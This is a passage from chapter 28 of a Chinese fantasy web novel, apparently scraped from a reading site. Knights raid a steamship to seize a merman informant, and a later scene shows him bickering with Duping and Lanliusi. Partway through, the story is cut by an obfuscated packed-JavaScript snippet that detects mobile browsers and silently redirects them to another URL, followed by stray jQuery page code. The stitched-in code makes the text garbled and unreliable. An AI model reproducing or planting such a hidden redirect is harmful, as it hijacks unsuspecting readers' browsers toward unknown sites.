28. 28.捉奸在床
作品:《再造骑士[西幻]》 傍晚的安戈利亚港挤满了来去匆匆的船客,刚下过雨,泥泞的港口闻起来像堆满烂了三天的臭咸鱼,空气中飘散着令人作呕的腥咸味。
栈道外侧,孩童奔走吆喝着当地特色的鲜蛤蜊,几个妇女在借着晚间暴雨的商机卖卖雨伞,迎接故友的人们举起一张张写着姓名的纸牌,与走出栈道的故友激动相拥。
在这些人中,有一些不起眼到极点的,披着灰色大衣的高个男人。
他们有的站在路边吃蛤蜊,有的坐在长椅上看报纸,还有的倚在路灯下,一言不发地抽烟,朝路过的美女轻佻地吹口哨,引来路人一阵鄙夷嘲讽。
相同的是,当又一艘吐着滚滚白汽的巨轮停靠岸边时,他们都提起了放在脚边的行李箱,共同走向了登船梯,交叉混入人群,在上船处排起了长队。
一张张船票经过安检,他们得以顺利地踏上了这艘巨型轮船。
巨轮在海洋中央奏响了鸣笛,呜呜喷吐着灰黑的烟雾,将夕阳中唯美的玫色地平线渲染得阴霾重重,直至黑夜彻底降临。
窗外闪电如游蛇缠绕着团团铅云,突然亮起的雷光照出男人夹烟的瘦削手指。
他檀棕色的皮肤融入黑暗,只剩下一片黯然的剪影。
光灭,一道雷鸣击碎了海洋的沉寂,风猎猎吹掀起蓝丝绒窗帘。
雨开始下的时候,他摘下了头顶的毡帽,转动了客房的门把手,手提行李箱快步走在狭窄的行道之中。
男人走入宴会厅,掠过觥筹交错的富豪贵族,踏上了前往轮船高层的楼梯,在一道道惊讶的目光中,右手拨开了手提行李箱的卡扣。
“先生,这里是上层,中下层旅客是不可以——”守卫上层入口的保安将他拦了下来
他刚说完,一个西装革履的男人过来在他耳边说了句什么,他便立刻让开身位。
随着这个提着行李箱的男人进入上层,更多隐匿于人海的灰衣男子也提着箱子掠过颤抖的保安,纷纷涌入了轮船的豪华套房。
一个个打开的木箱落在行道的角落中,空空如也的手提木箱内,原本装满了铳械与子弹。
现在,那些铳械尽数握在了灰衣男子们的手中。
埃诺文吐出一口烟雾,往黑色长铳内一颗又一颗地塞着子弹,他的手法熟练且悠然,长靴踹开桦木门时,同样有条不紊乱。
“果然来了。”
豪华套房的橘色灯光洒落在人鱼卷曲的黑发上,他坐在一张摇椅上,翻动着长长的黑色尾鳍。
埃诺文冷冷说道:“现在束手就擒,我可以考虑饶你一命。”
人鱼微微一笑:“好呀。”
埃诺文正要继续开口,从人鱼身后飞窜出数团黑雾,“教教他们怎么求人办事!我的宝贝们!”
黑雾在空中凝成根根黏腻的触手,朝门口站立的众骑士袭来,众人及时闪避,只是突来的触手太过密集且迅速,随着一声低吼,有骑士中了招。
尽管隔着厚实的胸甲,那名骑士被触手打到时,口中依然喷涌出了淋漓的鲜血。
埃诺文走在前头,他快速闪避着触手,手中铳械一刻也没停下,射击、闪避、换弹,动作一气呵成,“嘭!嘭!嘭!”
铳声犹如炮仗连串响起,深红色弹壳雨点般落了一地。
“海罗涅,你这条臭烘烘的咸鱼以为我还会像上次那么愚蠢吗?”
那些剧烈攻击人类的神秘触手忽然止住了动作——冰冷的铳械抵住了人鱼的太阳穴。
埃诺文笑道:“怎么样?需要我为人鱼的灭绝贡献一份力量吗?”
人鱼僵硬地笑笑,他立刻举起双手,“大人,我什么都说,别杀我!”
埃诺文站在套房扇形的玻璃窗前,促起淡绿色的瞳孔,似乎因人鱼的乖顺而有些疑虑。
“大人,您想问些什么呢?”海罗涅微笑着,“人鱼祭司上知天文下知地理,您什么都可以问我,如何升官、如何发财,如何毒死家里人老珠黄的肥胖妻子——无所不能。”
埃诺文唇角抽动了下,他淡淡说道:“我对那些没兴趣,你只需要回答我,去年秋季,那个通缉犯兰琉斯·洛兹莱昂,他是否拜访过你?”
“哦……您是想要问这个呀,我当然可以回答!”海罗涅叹了口气,“那可称不上拜访,也十分错综复杂,我觉得,您最好遣散门口的闲杂人等,这件事,越少人知道越好。”
他主动伸出自己的双手,“没有双手,我无法启动召唤仪式,你们可以把我铐起来。”
埃诺文朝山姆示意,青涩少年立刻掏出手铐,将海罗涅铐在了椅子上。
“你们出去,受伤的人先去治疗。”
“是!”
门口的骑士迅速撤退,合上了套房的门。
“说吧。”
“大人,容我多嘴,有一点我很奇怪。”海罗涅挑眉,“这次抓捕我的行动,是皇室授意还是宰相授意呢?是他们想知道兰琉斯为何要来拜访我?”
抵住海罗涅头颅的铳械往前一紧,“你问得似乎有点多了,人鱼。”
“哦,明白了。”
海罗涅努力坐稳身子,“这件事,要从去年秋季说起,作为一条乐于收集情报的人鱼,我向来生活在安戈市下城的树屋中,直到某一天,一个白头发的男人过来找我,他说——他是首席骑士兰琉斯,他还说,他要去一个从来没有人去过的地方。”
……
门口,青涩少年蹲伏在侧,安静聆听着屋内的说话声。
*
杜瓶清早像只耗子一样爬出洞,去下城的报亭买了份报纸,又耗子一样钻回了下水道。
翻开报纸,确认上头没有什么嫌犯兰琉斯被捕的新闻,这才松了口气。
“放心吧,他们哪有那么容易抓到兰琉斯?你以为他的恶名是白来的吗?”
身下一直沉睡的人鱼忽然睁开了眼,杜瓶吓了一跳。
“你醒了?”
“嗯,又坏一个分身,不知道要做多久才能做出一个。”他叹了口气。
杜瓶“啧”了声,“他真把你杀了?这些骑士团的人下手真是不留情面啊。”
海罗涅冷笑一声,“当然了,那些人可都是你亲爱的兰琉斯教出来的!”
“你就说他的坏话吧,反正兰琉斯出去溜达了,你现在说他是坨大便我都没意见——”
杜瓶耸耸肩,“对了,艾德……哦不,埃诺文问了你什么?”
“过去,以及兰琉斯的下落。”海罗涅疲惫地伸了个懒腰,“反正我都按照兰琉斯的要求告诉他了。”
杜瓶虽然知道好奇心害死猫,但环顾四周,兰琉斯不在,她还是忍不住问他:“当时兰琉斯为什么要杀你灭口?你给他提供了什么情报?”
“想知道?”
杜瓶诚恳地点点头。
“从我嘴里说出来的情报都是要给钱的,一条一千朗登。”
“你抢钱吧!”
杜瓶挖了挖鼻孔,“算了,不问了。”
海罗涅嫌恶地仰头,“兰琉斯不在,你就能随便在我面前挖鼻孔吗?”
“怎么?你不挖鼻孔吗?”杜瓶显得理直气壮,“兰琉斯在我也挖。”
海罗涅扶额,“真不知道那家伙喝了什么巫婆给的迷情剂。”
但杜瓶的手指就一直在鼻孔里挖来挖去,悠闲且自在,还时不时吸吸气,一副很酸爽的样子。
“有那么舒服吗?”
杜瓶疑惑地望着他,“你不会真没挖过鼻孔吧?”
人鱼不涨鼻屎?
海罗涅没回答,他趁着女孩低下头看报纸的间隙,伸出一根手指,往鼻孔里塞,学着她的样子挖来挖去,什么嘛,一般般,一点也不舒服!
但他跟她较上了劲,她不停,他也不收手。
就在两人沉浸式同频挖鼻孔时,从洞外走来一道白色身影,白发男人眯起眼,不确定自己是不是看错了——
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365941|182661||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这两个人,怎么他只是一晚上不在,就动作同步到连挖鼻孔都一模一样了?
“你们在做什么?”
海罗涅立刻放下手,他磕磕巴巴地说:“没,你什么都没看到!”
杜瓶也缩回了手,海罗涅说的竟然真没错,她的确不敢在兰琉斯面前挖鼻孔,这是什么缘由?
而那站在两人面前的高挑男人蹙起了眉尖,不知道为什么,他心里不太高兴,这两个人的表现让他有种捉奸在床既视感,想到这里,他越发不高兴了。
杜瓶开始转移话题,“你去干嘛了?兰琉斯?”
“心情不好,出去走走。”他坐在了杜瓶的身畔,那条鱼尾巴上。
海罗涅满头十字路口,“你们能不能别把我又当枕头又当凳子的?”
然而没人在意他愤怒的呐喊,兰琉斯反而放下双腿,坐得更稳当了些。
“不会是因为埃诺文的事情吧。”杜瓶凑近了些,用胳膊推了推他,“我听海罗涅说,埃诺文,还有其他骑士,都是你教出来的?你年龄也不大,都算桃李满天下了。”
“我没教过谁——不过毕竟我从十四岁开始就当骑士团团长,得有七年了。”
“十四岁!?”
杜瓶不知道上辈子自己十四岁,还在哪个边边角角玩泥巴。
“刚开始的时候,他们没一个人服气我,不奇怪,有些人年龄比我大得多……”兰琉斯缓缓道来,“一群家世优秀的贵族聚集在一起,反而会更看重身手和体术,骑士团是一个尊重强者的地方,他们没人打得过我,所以慢慢的,就认可了我。”
杜瓶听他娓娓道来,又问道:“那埃诺文呢?在旅馆的时候他凶巴巴的,我没敢仔细看他,不过他装成艾德的时候也挺凶,不仅凶,还老说脏话,还自称什么民俗作家,简直是个搞笑男!”
“你问埃诺文干嘛?”兰琉斯语气不善,“你一直没告诉我,你在下城跟埃诺文相处了多久,他没对你做什么吧?”
“啊?”杜瓶奇怪,“他能对我做什么?”
兰琉斯说道:“我十四岁的时候就认识他了,他一直是个轻浮的男人,换恋人就如流水一般自然。”
“看得出来。”
“现实中的他,也时不时蹦出两句污言秽语,除了骑士团的人,金宫里的贵族没人瞧得上他——他们说,他毕竟是平民出身,无礼极了。”
“他是平民出身?”
“对。”兰琉斯点头,“他以前救过上一任骑士团团长卡西尔的性命,上任团长说服了皇帝,让他破例进入了骑士团,虽然他看起来没什么教养,倒是骑士团里跟我最像的那个人。”
“像?”
杜瓶仔细想了想,一个白皮,一个黑皮;一个颀长俊美,一个风流轻佻;一个冷如钢铁,一个满嘴喷粪,哪儿像了?
她绝对没有带什么奇怪的滤镜吧?
“我知道哪儿像——”海罗涅笑吟吟的,试图插入两人的话题。
杜瓶好像没看到他,继续问兰琉斯:“你跟我说说。”
“喂喂,我要甩尾巴了!”
海罗涅被无情忽视,躺在地上撒泼打滚。
杜瓶看着晃动的“坐榻”,只得拍拍他的鳞片,“行行,你说你说!”
海罗涅仿佛得了骨头的小狗,开心地凑到两人中间,兰琉斯和杜瓶都不由分开了身位,避免碰到那只嘚瑟的人鱼。
“杀人。”海罗涅回忆起那两份深深的恐惧,“杀人的时候,那种不经雕琢的纯粹杀意,太像了。”
他害怕得抖了起来。
杜瓶看向兰琉斯,“我不觉得兰琉斯很杀气腾腾啊。”
他好像只是比较冷淡。
后者默默地坐在鱼尾上,银白的头发下,是一张俊美到妖诡的脸,他的双瞳黯淡到仿佛失却了一切蓝色,只剩那深深的草木浓灰。
“他说得没错,杜瓶,你眼前的这个人,比你想象得要可怕多了。”